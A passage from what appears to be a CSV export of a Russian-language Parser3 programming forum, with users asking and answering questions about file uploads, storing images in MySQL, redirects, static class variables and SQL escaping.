^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<Voroneg></Voroneg>\
}\
]\
\
И получить:\
\
<Russia>\
<SPb></SPb>\
<Voroneg></Voroneg>\
</Russia>\
\
Надо это сделать на Парсере, так как эти файлы генерируются в памяти и нигде не сохраняются."
"31364","ты бы хоть попытался чего-нибудь написать сам, пусть бред, - тебя поправят. Обычно народу лень с нуля все писать для кого-либо."
"31365","Это вряд-ли :) Проще собрать самому или скачать собранную с более ранними версиями GLIBC"
"31366","Допустим у меня имеется БД, в ней таблица, в ней з колонки : id(auto_increament, primary), header(text), body(text). В таблицы 2 записи. Я хочу удалить 2-ую запись. Я делаю это посредством DELETE. Затем я добавляю новую запись, но у нее id уже 3. То есть у меня две записи c id равным 1 и 3. Можно ли сделать так, чтобы не было перескока в id. UPDATE не предлагать."
"31367","случайно столкнулся с необьяснимым поведением парсера. \
Пример кода:\
\
^if(^f[a] eq a){Ok}{No}\
\
@f[fil]\
$fo[$fil]\
$fo\
\
По идее строки должны быть равны, что на практике не наблюдается\
Вариант с числами работает безупречно:\
\
^if(^f[1] == 1){Ok}{No}\
\
@f[fil]\
$fo[$fil]\
$fo"
"31368","[code]\
@f[fil]\
$fo[$fil]\
$result[$fo]\
[/code]"
"31369","Насколько я помню, значение auto_increament для атрибута должно быть уникальным все время жизни этой базы, или это я с MS SQL путаю. В PostgreSQL это можно сделать, там работа с типом SERIAL в этом плане погибче будет."
"31370","а использовать другую БД нет возможности...."
"31371","тут есть кое что про это \
http://dev.mysql.com/doc/mysql/en/example-AUTO_INCREMENT.html"
"31372","поэтому не нужно и стремиться.\
\
представьте себе другое:\
были записи\
1\
2\
3\
потом\
2<< стёрли\
\
на этот момент будет дырка. никуда от неё не уйдёте."
"31374","теперь длинные заголовки в почтовых сообщениях будут переноситься на следующую строку."
"31375","на основе http://www.parser.ru/examples/feedback/ . Так вот, когда люди отравляют большой файл (ну от 10 Мб) - через некоторое время у них появляется ошибка загрузки страницы (timeout). Нельзя ли этим как нибудь управлять со стороны сервера ?"
"31376","хттп не очень любит прием файлов. точнее хттп-сервера.\
\
1) размер принимаемого файла ограничивается в парсере в auto.p главном.\
2) размер принимаемого файла ограничивается самим апачем (если апач) или чем там еще.\
\
мало-мальская анти-флуд защита от переполнения диска или фиг знает чего.\
\
учти еще, что парсер такой память при получении с формы грузит в оперативку. своп раздувается... пару раз во время экспериментов я так свою систему вешал :)"
"31379","значит действительно timeout кончается.\
\
могу добавить ещё:\
есть timeout в браузере.\
\
вывод: HTTP POST — неподходящий способ обмена большими файлами.\
\
fun: недавно добрые люди прислали нам 50M attachment в одном письме. похожего уровня проблема.\
\
вариант:\
пусть люди выкладывают файл куда-то, а вам присылают ссылку.\
вы или дадите ссылку на их файл на их сервере,\
или в фоновом режиме потихоньку выкачаете.\
на это есть и встроенное в parser средство [не поддерживает докачку],\
и внешнее [например, wget — поддерживает докачку]\
\
если это клиенты вашего заказчика:\
и ваш админ умеет сделать это надёжно,\
откройте клиентам ряд ftp серверов."
"31380","простые пользователи, которым даже написанный адрес ftp с явками кажется полным бредом. Хотелось бы что бы файлы до ну хотя бы 10-15 МБ они могли передавать через форму. В локальной сети все работает, а вот через инет  возникает таймаут. В принципе - понятно из-за чего - файл долго принимается сервером из-за медленного канала. И все же - есть возможность поменять этот таймаут ?"
"31381","и задайте вопрос самому себе: \
пользователь захотел залить 100Mb файл (реальный пользователь, реальный случай).\
\
что до ftp:\
в msie встроенный ftp клиент поддерживает закачку на уровне drag drop.\
\
<a href=\"ftp://...\"> позволит перейти к закачке по одному click (+один раз в жизни он введёт пароль [x] Save password)."
"31382","У нас, к примеру, стоит usergate, и он обеспечивает только просмотр ftp для ie для ссылок типа <a href=\"ftp://...\">"
"31383","кто знает как определить статическую переменную в классе или константу?"
"31384","Можно сэмулировать следующими способами:\
1. Определить правила написания имен переменных. Например, называть \"константы\" прописными буквами: $TRUE, $FALSE и т.п.\
2. Определить в конструкторе таблицу констант и использовать в коде ее:\
[code]\
@constructor[]\
   $_const[^table::create{login	password\
log	pas}]\
\
@someMethod[]\
  ^if($form:login eq $_const.login && $form:passw eq $_const.password){\
     Чиста свой пацан.\
  }\
[/code]\
\
Не самый наглядный способ, но защиту от модификации дает.\
\
p.s. Мне вполне хватает первого способа."
"31385","а про статические переменные класса:\
http://www.parser.ru/docs/lang/defineclass.htm\
\
[code]\
@CLASS\
my\
\
@auto[]\
$a[переменная будет инициализирована при загрузке класса]\
\
...\
\
@method[][a]\
...\
# тут в $result будет помещено значение локальной переменной метода\
$result[$a]\
\
# но мы можем добраться и до переменной класса\
$result[$self.a]\
\
# однако можем и перезаписать её, тогда во всех объектах она измениться.\
$self.a[перезаписали]\
[/code]"
"31386","ага... так и есть... спасибо :-)"
"31388","Подскажите, есть ли где версия parser3 скомпилированная под\
библиотеку glibc 2.2? Или может кто компилировал специально?"
"31389","http://www.egoroff.spb.ru/portfolio/download/\
\
брать ту что для RedHat 7.3 для RH 8.0 не подойдет, ей нужен GLIBC2.3"
"31390","Я взял, тоже самое"
"31391","то же самое это что?"
"31392","[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"photo\">\
<input type=\"submit\">\
</form>\
\
### сохраняю файл в кат. test с нов. именем \
^if(def $form:photo){\
   $name[$form:photo.name]\
   $parts[^name.split[.;rh]]\
   ^form:photo.save[binary;/test/${au_id}.$parts.0]\
\
$response:location[uri этой же стр.]\
				$response:refresh[\
   				$.value[0]\
   				$.url[uri этой же стр.]\
				]\
\
}\
\
### загружаю список файлов из кат. test\
$table[^file:list[/test/]]\
^if(def $table){\
	^table.menu{\
		$par[^table.name.split[.;rh]]\
### здесь у меня теперь расширение файла\
		$rs[$par.0]\
### здесь имя файла кот. мне нужно с произвольным расш.\
		$namef[${au_id}.$rs]\
			^if($table.name eq $namef){\
				$photo[^image::measure[/test/$table.name]]	\
				^photo.html[\
   					$.border[0]\
   					$.alt[я]\
					]\
	}}}\
[/code]\
\
если я вывожу имена файлов –\
[code]^table.menu{\
    $table.name<br>}[/code]\
то выводится –\
[b]3.jpg[/b]\
[b]Thumbs.db[/b]\
\
Если можно, то объясните в 2х словах про невидимый файл Thumbs.db\
\
Заранее спасибо."
"31394","по поводу \"искаженной картинки\": файл кеширует ваш броузер, т.к. его полное имя одинаково для первой закачаной картинки и для второй.\
\
про Thumbs.db наверное вы сами себе объясните что он там делает. это ваш файл и только вы знаете как он туда попал."
"31396","Да ведь в доке так и написано:\
\
[b]Заголовки HTTP-ответа[/b]\
\
[b]Пример перенаправления браузера пользователя на стартовую страницу[/b]\
[code]$response:location[/]\
$response:refresh[\
   $.value[0]\
   $.url[/]\
]\
[/code]\
\
Отличие у меня только в том, что я перенаправляю не на стартовую страницу.\
\
И еще я не могу толком разобраться для чего нужен [b]location[/b], примерно представляю, но не больше.\
Или отличие [b]location[/b] от [b]refresh[/b]."
"31397","Если я захожу в каталог с изображением, то этого файла не видно,\
а если набираю в адресной строке:\
[b]......\\test\\Thumbs.db[/b]\
то появл. сообщение:\
[b]Внимание!\
Попытка открыть файл типа \"Файл базы данных\"(.db)[/b]\
\
Просто хотелось узнать конкретно что за файл такой и причем здесь база данных?"
"31398","Ни в форуме, ни в доке не нашел – как достать файл(jpg, gif и т.д.) из базы, т.е. как занести в базу есть, а как получить..."
"31399","Файл в котором винда хранит кэшированные превью картинок. По умолчанию он скрытый. Можно отключить в настройках и смело удалять."
"31400","Какой процесс? Я никаких шпионов в скрипты не вставлял. Вот про parser3.exe я слышал, будто бы он ломится в Интернет периодически. Вы жто имеете в виду?"
"31401","Я не понял про потрошение hosts: что, виртуальных хостов не будет? Предлагаете все в localhost хранить? Ну здорово! Шаг вперед, два назад - как завещал великий Ленин. Даешь программирование одного сайта за всю жизнь! (-: \
\
И второе. Что, виртуальный диск - хуже, чем фиксированное имя папки C:\\My website? А если я не имею доступа на диск C:, а работаю под обычным пользователем? И если у меня диск C: - вообще mobile-rack или zip (приходилось и такое видеть)? Вот subst специально придумывали для того, чтобы каждый пользователь мог себе любые буквы диска делать (кстати, subst-диски при заходе одновременно нескольких пользователей на машину не пересекаются: Вася может имать z:=c:\\xxx, а Саша - z:=c:\\yyy).\
\
В общем, по-моему, Вы еще не поняли до конца, что затеяли. (-:"
"31402","Почему такой код не приводит к тому, что меняется содержимое файла.\
\
$f[^file::load[binary;../$text1.name]]\
$formname[$text1.name]\
$f.text[$form:$formname]\
\
Как заменить текст в файле и сохранить его?"
"31403","А вы проговаривали сами для себя то что вы делаете?\
\
1. Загрузили [b]бинарный[/b] файлик при этом его имя взяли из таблицы или хэша $text1.name\
2. В переменную $formname[...] сохранили имя файлика, который только что загрузили.\
3. Эта строка вообще малопонятна $f.text[$form:$formname] и содержит ошибку. Некоему хешу $f.text присваеваем значение (при этом перекрывая $f как объект класса file), которое пришло из формы при этом имя поля задаем в виде имени файла который перед этим загрузили и имя которого сохранили в $formname. Фуф.\
\
Если вы считаете что именно так это должно происходить, то я вас поздравляю. Вы еще один кандидат на чтение документации.\
\
Два ключевых слова STRING и FILE, прочтите внимательно работу с объектами этого класса и вы найдете пример того о чем спрашивали."
"31404","> Вот про parser3.exe я слышал, будто бы он ломится в Интернет периодически.\
\
Ерунда. Стыдно слышать от вас подобное."
"31405","Ну затеял человек хорошее дело, чем плохо то? Он ведь никому плохо не делает. Или неприятие чужой идеологии работает? А возможно и конкуренции, хотя тут трудно о ней говорить :)"
"31406","Если разговор о MySQL, то в документации все есть:\
http://www.parser.ru/docs/lang/filesql.htm\
http://www.parser.ru/docs/lang/filesqlstring.htm"
"31407","У меня на сайте длинна страница, и предположим что в ней есть заголовки\
Я хочу в меню сделать кнопки тапа там \"загаловок №3\"и т.д \
и чтобы кликая на них он перемешал меня на этот заголовок в этой длинной странице, \
\
Я все делаю в Дрим вьювере , плиз помогите\
Я немного дубак в этом деле"
"31408","[code]\
перейти в <a href=\"#place\">нужное</a> место страницы.\
...\
<a name=\"place\">нужное место страницы</a>\
[/code]"
"31409","через $self можно добраться до статической переменной, если она была определена. если не была, запись $self.name приведёт к появлению нового поля в объекте, не классе.\
\
[code]\
#если почему-то нужно создать новую переменную в классе\
$имя_класса:имя_переменной[значение]\
\
#в текущем классе можно так:\
$CLASS.имя_переменной[значение]\
[/code]\
\
конечно, обычно достаточно создать статическую переменную в @auto.\
\
отдельные глобальные константы рекомендуется так:\
[code]\
@CLASS\
CONST\
\
@auto[]\
$DataPath[/../data]\
…\
[/code]\
к которым обращаться в коде так:\
[code]\
$CONST:DataPath\
[/code]\
\
для большинства целей подойдёт и класс MAIN:\
все переменные, объявленные в любом auto.p\
доступны из произвольного класса, как \
[code]\
$MAIN:имя\
[/code]"
"31410","Блин я нифига не понял\
\
плиз можно по подробнее\
Как пометить это нужное место ?"
"31411","Через форму загружается изображение,\
а затем, чтобы проверить размеры я пишу:\
[code]$photo[^image::measure[$form:photo]][/code]\
\
и иногда на этой строчке парсер спотыкается, т. е. пример –\
\
[b]not JPEG file - wrong signature[/b]\
[b]hll-1000.jpg[/b]\
\
[b]exception.type=image.format[/b]\
\
т. е. наверное расширение не соответствует формату файла.\
В конф. файле у меня есть\
таблица типов файлов -\
$MIME-TYPES.\
\
Подскажите, как можно проверить формат файла и, если,\
формат неверный (непонятный), как в моем случае,\
не выдавать ошибку, а просто проигнорировать пост (условием)."
"31415","Тут все доходчиво описано почти для всех типов подключенийк которые потребуются в этой жизни :)\
\
http://www.connectionstrings.com/"
"31416","Т.е. если у меня возникают такие ошибки:\
[b]not JPEG file - wrong signature[/b]\
[b]hll-1000.jpg[/b]\
\
[b]exception.type=image.format[/b]\
\
или такие:\
\
[b]unhandled image file name extension 'bmp'[/b]\
[b]/test/3.bmp[/b]\
\
[b]exception.type=image.format[/b] \
\
то я помещаю код, который их вызвал, в [b]^try[/b],\
но я не могу полностью разобраться с этим [b]^try[/b],\
подскажите пожалуйста, что не так, потому что\
при добавлении этого кода ничего не меняется:\
[code]\
^if(def $form:photo){\
^try{\
   $photo[^image::measure[$form:photo]]\
}{\
   ^if($exception.type eq image){\
      $exception.handled(1)\
      Ошибочный формат,\
      <pre>$exception.comment</pre>\
   }\
}\
\
$width($photo.width)  \
$height($photo.height)}\
[/code]"
"31417","Есть запрос написанный для mssql, сохранен в текстовом файле. Нормально работает в mssql query analyzer. \
А такая конструкция:\
\
$f_sql[^file::load[binary;query.txt]]\
^msSQL.server{\
$tbl[^table::sql{^taint[sql][$f_sql.text]}]\
}\
\
Выдает ошибку: Incorrect syntax near '20040722' и т.д.\
короче ругается на строковые параметры\
подскажите как эти строковые параметры оформить в запросе"
"31419","а пишете почему-то «eq image»."
"31420","Вот к примеру не понятен тип $newChild в строке:\
$Node[^узел.insertBefore[$newChild;$refChild]]"
"31422","А какая разница, кроме переводов строк?"
"31425","с момента последнего апдейта интерфейс не менялся.\
\
если кто использует - забирайте."
"31426","Гражданин. Это форум по парсеру, а не по основам HTML-я. Ну хоть первые 20 страниц доки по нему прочитайте. Тем более, что Вам вполне исчерпывающе ответили."
"31427","для начала эта конструкция просто ненужная, т.к. данные из файла - грязные, и внутри :sql{} присутствует неявный ^untaint[sql]{}.\
\
и затем, ваши грязные кавычки из файла этим taint/untaint превращаются... нет, не в элегантные шорты, а во что-то такое:\
\
SELECT ... FROM ... WHERE aaa =''20040722''\
, когда запрос в файле выглядит вроде хорошо:\
SELECT ... FROM ... WHERE aaa ='20040722'\
\
вы именно этого хотели? если нет, то разберитесь и напишите правильный taint."
"31428","Результат такой же"
"31429","[b]Задача:[/b] сделать список всех перестановок слов набора, слова разделены запятыми.\
\
[b]Мое решение:[/b]\
\
[code]\
#Разбиваем строку по запятым\
$split_words[^words.split[,]]\
\
#Делаем новую таблицу, где слова нумеруем\
\
$numered_words[^table::create{id	words}]\
$i(0)\
^split_words.menu{\
 ^numered_words.append{$i	$split_words.piece}\
 ^i.inc[]\
}\
\
#Делаем новую таблицу под варианты перестановок\
$variants[^table::create{name}]\
  \
#Рекурсивная процедура создания перестановок\
^getvariants[$numered_words;$variants;;0]\
\
\
# Описание процедуры. Параметры: splits - таблица всех слов,\
# variants - таблица для сохранения вариантов перестановок,\
# cur_variant - текущее начало варианта перестановки, cnt -\
# битовая маска (единица в бите, если слово уже задействовано)\
@getvariants[splits;variants;cur_variant;cnt][curent_words]\
\
#Отбираем те слова, на которые нет битов в маске...\
$curent_words[^splits.select(^eval(^math:pow(2;^splits.id.int[])&^cnt.int[]) eq 0)]\
 \
#Если такое слово одно - конец ветки рекурсии, добавляем вариант в таблицу\
 ^if(^curent_words.count[] eq 1){\
  ^variants.append{$cur_variant $curent_words.words}\
 }{\
 \
#Если таких слов несколько, запускаем их перебор и для каждого запускаем рекурсию\
  ^curent_words.menu{\
   ^getvariants[$splits;$variants;$cur_variant $curent_words.words;^eval($cnt+^math:pow(2;^curent_words.id.int[]))]\
  }\
 }\
\
[/code]\
\
Максимальное количество слов, которое может обработать - 7 (5040 вариантов). 8 - в Виндозе вылетает по ошибке: Тоо many heap sections (что-то типа), в Юниксе запускать не решился.. если что упадет - не подниму... Пробовал приделывать [code]^memory:compact[][/code], но или не туда приделывал, или не помогает... Результата не дождался... Подскажите - это особенности рекурсии, или мои ошибки?"
"31430","1) response:location и response:refresh - взаимозаменяемые конструкции с небольшими различиями в понимании со стороны браузеров. использовать стоит только что-то одно\
\
2) а теперь собственно опыт. использовать $response:что-то-там обновление НЕЖЕЛАТЕЛЬНО.\
почему? объясняю: некоторые браузеры (конкретно тестировалось на opera 6.1 или 6.01 и частично на IE6) кешируют заголовки страниц и при повторный на них заход приводит к чтение заголовков с целью узнать дату изменения и тп файла из кеша. тупые браузеры, читая хеадеры из кеша, читают и рефреш, который при $response:* тоже передается хеадером. и переходят куда их посылали раньше, даже если в нынешний момент контент у страницы совсем другой. пример: страница защищенная паролем. если сессии нет - редирект на страницу входа. елси есть - вывод данных. заходим первый раз без сессии - получаем редирект в хеадере. идет по редиректу, логинимся и снова заходим на эту страницу. браузер видит редирект в хеадере и прется опять на логин пейдж, хотя сессия УЖЕ есть, и передана на страницу.\
\
Рефрешы нужно делать тэгами <meta http-equiv=\"refresh\" content=\"0; url=....\">. Почему? Потому что они находятся В ТЕЛЕ страницы, и страбатывают только когда страница открыта. Они не кешируются в браузере и при проверке полей кеша не срабатывают. Единственное что может быть проблематично - решение о редиректе не всегда принимается в <head>...</head>, чаще в <body>...</body>. Но эот не особая проблема, так как большинство браузеров (вроде как все) по крайней мере в случае HTML (насчет XHTML не знаю) реагируют на <meta> независимо от их положения. ТО есть можно выводит и в <body>, хотя это не \"по учебнику\".\
\
Вот мой оператор редирект (заметьте, если приспичит, вы всегда можете поменять способ редиректа по всему сайту, изменив только в операторе; если delay не задан, делает скрытый редирект хеадером; если задан, даже если 0 - метой):\
\
[code]\
@redirect[uri;delay][]\
^if(!def $uri){$uri[$request:uri]}\
^if(def $delay){\
        $result[<meta http-equiv=\"refresh\" content=\"$delay^; url=^taint[as-is][$uri]\">]\
}{\
        $response:location[^taint[as-is][$uri]]\
        $result[]\
}\
[/code]\
\
Приятного аппетита :)"
"31431","taint долой. атавизмик остался :)"
"31433","$tbl[^table::sql{^untaint[as-is]{$f_sql.text}}]\
\
вроде так заработало!"
"31434","В примере из доки про сохр. файла\
на SQL-сервере - ^file.sql-string[]\
картинка загружается из текущего каталога\
на сервере:\
\
[code]\
$name[image.gif]\
$file[^file::load[$name]]\
^connect[строка соединения]{\
   ^void:sql{insert into images (name, bytes)\
		values ('$name', '^file.sql-string[]')}\
}[/code]\
\
но если мне нужно сразу занести картинку\
из формы в базу не сохраняя ее на диск, то как же\
мне поступить, к примеру, если так:\
\
[code]\
$file[^file::load[binary;$form:photo.name]]\
^MAIN:dbconnect{\
   ^void:sql{insert into images (name, bytes)\
		values ('$form:photo.name', '^file.sql-string[]')}\
}[/code]\
\
то получаю ошибку в строке, где [b]^file::load[/b],\
т.к. указано только имя файла [b]$form:photo.name[/b],\
и он соответственно ищется в текущей папке на сервере,\
а не берется из формы ([b]file.missing[/b])...\
\
Перепробовал много способов, и в доке не нашел.."
"31435","не уверен, но для 8-ми не получится, т.к. 8! = 40320 а\
[quote]\
в Parser встроен механизм обнаружения бесконечных циклов. Бесконечным считается цикл, тело которого выполняется более 10000 раз.\
[/quote]"
"31437","<a [b]href=\"#[/b]..\">...</a> — ссылка на «нужное» место (внимание - решетка)\
\
<a [b]name=\"[/b]...\">...</a> — имя «нужного» места\
\
Куда уж подробнее-то?........."
"31438","Есть некая таблица в базе данных MySQL, из которой я делаю выборку:\
\
[code]\
$table[^hash::sql{\
	SELECT\
		поле_1,\
		поле_2,\
		поле_3,\
	FROM\
		таблица\
	}\
]\
[/code]\
\
...А после выборки мне нужно получить такой вот результат:\
\
[code]\
<tr>\
	<th>поле_1</th>\
	<th>поле_2</th>\
	<th>поле_3</th>\
</tr>\
<tr>\
	<td>значение поля_1</td>\
	<td>значение поля_2</td>\
	<td>значение поля_3</td>\
</tr>\
[/code]\
\
...очевидно надо использовать хэш (для заголовков) и каким-то образом преобразовывать хэш в таблицу(ы) (для значений полей), но вот каким?"
"31440","... делать выборку в таблицу, а не в хэш [Собственно зачем Вам здесь хэш понадобился?].\
\
Потом смотрим в документации, как получить структуру таблицы: http://www.parser.ru/docs/lang/tablecolumns.htm."
"31441","Когда нажимаю кнопку(зан. изобр.),то получаю по шее:\
\
[b]Unhandled Exception (Debug)[/b]\
[b]Duplicate entry '3' for key 1[/b]\
[b]insert into images (au_id, name, bytes) values ('3', 'monument4.jpg', 'яШяа\\0JFIF\\0\\0H\\0H\\0\\0янrPhotoshop 3.0\\08BIMн\\nResolution\\0\\0\\0\\0\\0H\\0\\0\\0\\0\\0H\\0\\0\\0\\08BIM\\rFX Global Lighting Angle\\0\\0\\0\\0\\0\\0\\0x8BIMFX Global Altitude\\0\\0\\0\\0\\0\\0\\08BIMу Print Flags\\0\\0\\0 \\0\\0\\0\\0\\0\\0\\0\\0\\08BIM\\nCopyright Flag\\0\\0\\0\\0\\0\\08BIM\\'Japanese Print Flags\\0\\0\\0\\0\\n\\0\\0\\0\\0\\0\\0\\0\\08BIMхColor Halftone Settings\\0\\0\\0H\\0/ff\\0...... и т.д.')[/b]\
\
[b]exception.type=sql.execute[/b]\
\
Если я правильно понимаю, то столбец [b]bytes[/b]\
в базе имеет не тот формат,\
если можно, подскажите в чем дело.."
"31442","Вам же написали \"Duplicate entry '3' for key 1\". Поле au_id является ключем таблицы? Значение '3' в какой-то записи уже есть?\
\
p.s. Дальше участвоввать в Вашем образовании не буду. :("
"31445","Ставлю сам на FreeBSD скомпилиную версию...\
Отрывки из того, что пишет Parser 3.x test page:\
$SQL:\
$sqldriversdir/libparser3mysql.so (61988 байт)\
/usr/local/lib/mysql/libmysqlclient.so (247574 байт)\
\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
driver implements API version 0x0008 not equal to 0x0007 \
$sqldriversdir/libparser3mysql.so \
\
в чем может быть трабла???"
"31447","я не об этом - я не просил делать copy/paste из доки, я просил написать [b]свой код для конкретной задачи[/b], т.е. попытаться подумать, пусть даже не правильно. Тут же попыток мысли не видно совсем, а видно тупое копирование документации и просьбы написать код."
"31449","Там это происходит по другому, здесь в лог ничего не пишется. У меня ошибка самого процесса Parser3.exe."
"31450","вообще да, тут нет тупого перебора 40000 вариантов."
"31451","Спасибо огромное!!!!Работает.......:))"
"31452","Сразу прошу не ругаться,\
Загрузил картинку я в базу, затем достаю:\
[code]^MAIN:dbconnect{\
	$img[^file::sql{\
	SELECT name, bytes\
		FROM images\
		WHERE au_id = '3'}]}[/code]\
\
А как ее показать-то, или вывести на экран -\
^img.html[] - не катит,и т. п.\
\
В доке написано:\
[b]Загружает файл из SQL-сервера. Результатом выполнения запроса должна быть одна запись. Считается, что ее\
Ї первая колонка содержит данные файла;  \
 \
Ї вторая колонка содержит имя файла;  \
 \
Ї третья колонка содержит content-type файла (если не указан, он будет определен по таблице $MIME-TYPES).   \
[/b]\
\
Во-первых как эту запись читать,\
Во-вторых здесь не говориться - где сама картинка,\
\
Заранее благодарю."
"31453","есть html-файл и надо выдрать из него с помощью ^str.match\
все формы <form...>...</form>\
\
пробовал вот это\
$mtc[^f.text.match[(<form[^^\\>]*>.+</form>)][gi]]\
однако если в файле более одной формы, то\
выдирается весь текст\
меджу первым встреченным <form...> и последним </form>\
а это мне не надо.\
\
кто что посоветует?\
а может, есть способы лучше?"
"31455","[quote]...первая колонка содержит данные файла...[/quote]\
\
А разве речь идет не о самом файле как раз?"
"31456","[quote]?	совпадает с одним необязательным символом[/quote]\
\
[quote]+	совпадает с неограниченным количеством символов. Для совпадения требуется хотя бы один произвольный символ[/quote]\
\
Как они между собой связываются в выражении «.+?» ?"
"31458","Хорошо, а как эту колонку выбрать,\
а затем показать картинку?\
Много чего пробовал, незнаю как еще можно..."
"31459","Вы выбрали картинку. Она лежит в памяти процесса. Чтобы отдать её пользователю -- картинку нужно или положить на диск и пусть он её забирает через <img src=\"\"/>, либо отдать сразу же, через $response:body.\
\
предположение: \
Так как пользователь у вас просит html, а вы ему отдадите картинку, то он обидится. Чтобы этого не было, сделайте так, чтобы \"GET /lala.gif\" вёл к вашему скрипту. Это не сложно. Чтобы все запросы картинки не перелопачивать, сделайте так, чтобы только часть картинок вела на скрипт. Это сложнее, но не намного (rewriterule).\
\
Думайте. Это здорово."
"31460","Спасибо за ответ, но я не понял это:\
\"чтобы \"[b]get[/b]/lala.gif\" вёл к вашему скрипту\",\
и что имеется ввиду - \"мой скрипт\",\
а картинки конечно же нужны как <img src=\"\"/>\
\
И почему такие сложности с image+БД,\
почему нельзя просто загр. из базы файл и\
показать его (сразу преобразовать, чтоб\
можно было бы применить ^image.html[])"
"31461","Если вы прочитаете спецификкацию http вы поймёте, что такое \"GET /\". \
Что такое \"мой скрипт\" вы узнаете в разделе \"жаргон\" местного фака.\
\
На остальное ответ -- можно. Как: я уже писал, после слов \"предположение\"."
"31463","А вы не угостите ссылочкой на спецификацию по http,\
Ну скрипт-то зачем? Никак не пойму, нельзя разве\
в auto.p метод сделать - @showImage[],\
но вот только что в нем написать, чтоб выцепить\
эту колонку -\
\
Пример из доки:\
[b]Загружает файл из SQL-сервера.[/b]\
[b]Результатом выполнения запроса должна быть одна запись.[/b]\
[b]Считается, что ее[/b]\
[b]. первая колонка содержит данные файла;[/b]\
\
и здесь слова [b]\"должна быть\"[/b] и [b]\"считается\"[/b],\
как будто запись может быть не одна, а эта колонка каждый раз может содержать что угодно?\
Все так запутанно.."
"31464","Мужчина, в 15 сантиметрах выше этого сообщения и маленько левее есть фраза \"полезные ссылки\". Сходите, вам понравится."
"31465","напишите. Просто напишите\
[code]\
@showImage[]\
$fd[^file::sql{SELECT body, name FROM yourtable WHERE id=1}]\
$response:body[$fd]\
[/code]\
и не мучайтесь. Вы уверены, что web программирование -- это то, чем вам хочется заниматься?"
"31468","Читайте док-цию, ищите баг. :-))"
"31470","Придётся своим ходом..."
"31472","Да потому что Вы мне привели пример когда пользователь получает взамен страницы рисунок, а мне то нужно <img src=\"\"/>\
Если просто обратиться к переменной\
[b]$img[^file::sql{запрос}][/b]\
[b]$img[/b]\
то конечно получаешь фиг, а как по-другому..\
\
Так тоже прогоняют:\
[b]$photo[^image::measure[$img]][/b]\
[b]^photo.html[][/b]\
что, мол html неопределен.."
"31473","[code]\
$number[1]\
$form:photo.save[/i/user/image${number}.gif]\
[/code]\
\
в базу данных запишите его номер.\
\
потом выдайте \
[code]\
<img src=\"/i/user/image${number}.gif\">\
[/code]\
\
и не забивайте себе голову сложностями с хранением файла в базе.\
сложности вам понадобятся, когда вы освоитесь. потом."
"31474","и как её применить в парсере"
"31475","Код:\
[code]^MAIN:dbconnect{\
	$img[^file::sql{\
	SELECT name, bytes\
		FROM images\
		WHERE au_id = '1'}]}\
$photo[^image::measure[$img]]\
^photo.html[][/code]\
\
дает ошибку на любую картинку(где 2ая строчка соответственно для каждого файла разная):\
[b]can not determine image type - no file name extension[/b]\
[b]GIF89aЌ[/b]\
\
[b]exception.type=image.format[/b]\
\
Значит в базе файл неправильно лежит?\
Или все-таки достаю коряво?"
"31476","Так получается, но хотелось с базой.\
\
И, кстати, когда я также -\
[code]$number[1][/code]\
[code]$form:photo.save[/i/user/image${number}.gif][/code]\
менял расширение всех картинок на gif (т.е. если до этого\
картинка была jpg) и,\
когда пытался вывести number.gif - получал ошибку - неправильный формат.\
\
И теперь сохраняю не изменяя расширение, а только имя...\
Т.е. ваш код с jpg не работает"
"31477","SELECT bytes, name"
"31478","Спасибо, я просто по доке, там ведь когда\
в базу заносят пишут сначала name, а потом bytes,\
поэтому в таком же порядке я и доставал..\
\
Теперь страница открывается, но вместо рисунка\
видна его рамка с красным крестом (недоступно),\
может тип столбца в базе для рисунка не тот,\
сейчас у меня стоит LONGTEXT, но пробовал и другие.."
"31480","$response:body[$img]\
\
Получается теперь, но на белом фоне,\
а нужно <img src=\"\"/>"
"31483","[quote]получается, но хотелось с базой.[/quote]\
не надо вам с базой, http://www.parser.ru/forum/?id=8301\
[quote]когда я также менял расширение всех картинок на gif...[/quote]\
[code]^file:justext[$form:photo.name][/code]"
"31484","спасёт вас.\
\
мой дружеский совет: не пытайтесь хранить файл в базе.\
вы пока не понимаете простых вещей.\
сделайте по-простому, со временем [b]сами[/b] поймёте, как можно сложнее."
"31485","сначала не врубился, о чем вообще речь.\
но потом понял, куда копать.\
спасибо."
"31486","Как сделать элементарную вещь:\
поменять содержимое txt файла хранящегося на сервере???\
\
Я пробовал с помощью $файл.text[содержимое] но это не проходит"
"31488","А как мне задать другое содержимое?\
Я же написал, что мне это не удается."
"31489","[code]\
  $newContent[Тарам, тарам, там...]\
  ^newContent.save[text;/path/to/file.ext]\
[/code]\
\
И не надо ничего грузить с диска..."
"31490","В старой ломился апач, подробностей сейчас уже не скажу по причене не использования старого денвера.\
\
зы: с парсером этих проблем не было"
"31491","Ну да!!!\
Верно!\
Спасибо!"
"31492","unknown mode, must be 'append'\
binary\
\
путь/к/директории/auto.p(56)\
exception.type=parser.runtime \
\
ему не нравится строка ^form:file.save[binary;имя.jpg]"
"31494","Отправляю письмо в html с завёрстанной картинкой.\
В Бате картинка отображается нормально, а Аутлуке только как приложение.\
\
Что можно придумать, кроме как размещать файл на сервере и ставить в письме на него ссылку?\
\
Заранее спасибо!\
\
[code]\
^mail:send[ \
    $.from[....]\
    $.to[....]\
    $.reply-to[....]\
    $.return-to[....]\
    $.subject[....]\
    $.html{\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
<p><img src=\"logo.gif\" width=\"106\" height=\"73\"> \
</p>\
}\
$.file[ \
    $.value[^file::load[binary;/images/for_mail/logo.gif]] \
    $.name[logo.gif] \
]    \
]\
[/code]"
"31496","Можете воспользоваться эмулятором SMTP-сервера, который есть здесь в конце страницы - http://www.parser.ru/download/utils/"
"31497","...не выложить в «Полезные ссылки» › «скачать»?\
\
Я могу даже chm-ку прислать, если надо :)"
"31499","Возвращаясь к теме обращения к MS-SQL серверу из Linux.\
\
На этой странице: http://www.opennet.ru/base/dev/mssql_php.txt.html Подробно расписано, как PHP при помощи некой библиотеки freetds может работать с MS-SQL из-под Linux.\
\
Может кто подскажет чего дельного? \
\
На C писать не умею :)) Сборками/разборками тоже не очень :)"
"31500","... и смотрим внизу левой колонки... Качаем... Идем спать счастливыми..."
"31501","Ну, может быть. Я имел в виду это:\
